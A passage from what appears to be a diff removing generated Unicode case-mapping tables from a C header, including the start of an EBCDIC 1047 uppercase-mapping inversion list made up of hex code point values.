0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - UC_use_AUX_TABLE_12, - 0x1F59, - UC_use_AUX_TABLE_13, - 0x1F5B, - UC_use_AUX_TABLE_14, - 0x1F5D, - UC_use_AUX_TABLE_15, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - UC_use_AUX_TABLE_16, - UC_use_AUX_TABLE_17, - UC_use_AUX_TABLE_18, - UC_use_AUX_TABLE_19, - UC_use_AUX_TABLE_20, - UC_use_AUX_TABLE_21, - UC_use_AUX_TABLE_22, - UC_use_AUX_TABLE_23, - UC_use_AUX_TABLE_16, - UC_use_AUX_TABLE_17, - UC_use_AUX_TABLE_18, - UC_use_AUX_TABLE_19, - UC_use_AUX_TABLE_20, - UC_use_AUX_TABLE_21, - UC_use_AUX_TABLE_22, - UC_use_AUX_TABLE_23, - UC_use_AUX_TABLE_24, - UC_use_AUX_TABLE_25, - UC_use_AUX_TABLE_26, - UC_use_AUX_TABLE_27, - UC_use_AUX_TABLE_28, - UC_use_AUX_TABLE_29, - UC_use_AUX_TABLE_30, - UC_use_AUX_TABLE_31, - UC_use_AUX_TABLE_24, - UC_use_AUX_TABLE_25, - UC_use_AUX_TABLE_26, - UC_use_AUX_TABLE_27, - UC_use_AUX_TABLE_28, - UC_use_AUX_TABLE_29, - UC_use_AUX_TABLE_30, - UC_use_AUX_TABLE_31, - UC_use_AUX_TABLE_32, - UC_use_AUX_TABLE_33, - UC_use_AUX_TABLE_34, - UC_use_AUX_TABLE_35, - UC_use_AUX_TABLE_36, - UC_use_AUX_TABLE_37, - UC_use_AUX_TABLE_38, - UC_use_AUX_TABLE_39, - UC_use_AUX_TABLE_32, - UC_use_AUX_TABLE_33, - UC_use_AUX_TABLE_34, - UC_use_AUX_TABLE_35, - UC_use_AUX_TABLE_36, - UC_use_AUX_TABLE_37, - UC_use_AUX_TABLE_38, - UC_use_AUX_TABLE_39, - 0x1FB8, - UC_use_AUX_TABLE_40, - UC_use_AUX_TABLE_41, - UC_use_AUX_TABLE_42, - 0, - UC_use_AUX_TABLE_43, - UC_use_AUX_TABLE_44, - 0, - UC_use_AUX_TABLE_41, - 0, - 0x399, - 0, - UC_use_AUX_TABLE_45, - UC_use_AUX_TABLE_46, - UC_use_AUX_TABLE_47, - 0, - UC_use_AUX_TABLE_48, - UC_use_AUX_TABLE_49, - 0, - UC_use_AUX_TABLE_46, - 0, - 0x1FD8, - UC_use_AUX_TABLE_50, - UC_use_AUX_TABLE_4, - 0, - UC_use_AUX_TABLE_51, - UC_use_AUX_TABLE_52, - 0, - 0x1FE8, - UC_use_AUX_TABLE_53, - UC_use_AUX_TABLE_5, - UC_use_AUX_TABLE_54, - 0x1FEC, - UC_use_AUX_TABLE_55, - UC_use_AUX_TABLE_56, - 0, - UC_use_AUX_TABLE_57, - UC_use_AUX_TABLE_58, - UC_use_AUX_TABLE_59, - 0, - UC_use_AUX_TABLE_60, - UC_use_AUX_TABLE_61, - 0, - UC_use_AUX_TABLE_58, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - 0xA64A, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0x13A0, - 0, - UC_use_AUX_TABLE_62, - UC_use_AUX_TABLE_63, - UC_use_AUX_TABLE_64, - UC_use_AUX_TABLE_65, - UC_use_AUX_TABLE_66, - UC_use_AUX_TABLE_67, - 0, - UC_use_AUX_TABLE_68, - UC_use_AUX_TABLE_69, - UC_use_AUX_TABLE_70, - UC_use_AUX_TABLE_71, - UC_use_AUX_TABLE_72, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900, - 0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Uppercase_Mapping_invlist[] = { /* for EBCDIC 1047 */ - 1381, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8D, - 0x8E, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xDF, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F81, - 0x1F82, - 0x1F83, - 0x1F84, - 0x1F85, - 0x1F86, - 0x1F87, - 0x1F88, - 0x1F89, - 0x1F8A, - 0x1F8B, - 0x1F8C, - 0x1F8D, - 0x1F8E, - 0x1F8F, - 0x1F90, - 0x1F91, - 0x1F92, - 0x1F93, - 0x1F94, - 0x1F95, - 0x1F96, - 0x1F97, - 0x1F98, - 0x1F99, - 0x1F9A, - 0x1F9B, - 0x1F9C, - 0x1F9D, - 0x1F9E, - 0x1F9F, - 0x1FA0, - 0x1FA1, - 0x1FA2, - 0x1FA3, - 0x1FA4, - 0x1FA5, - 0x1FA6, - 0x1FA7, - 0x1FA8, - 0x1FA9, - 0x1FAA, - 0x1FAB, - 0x1FAC, - 0x1FAD, - 0x1FAE, - 0x1FAF, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, 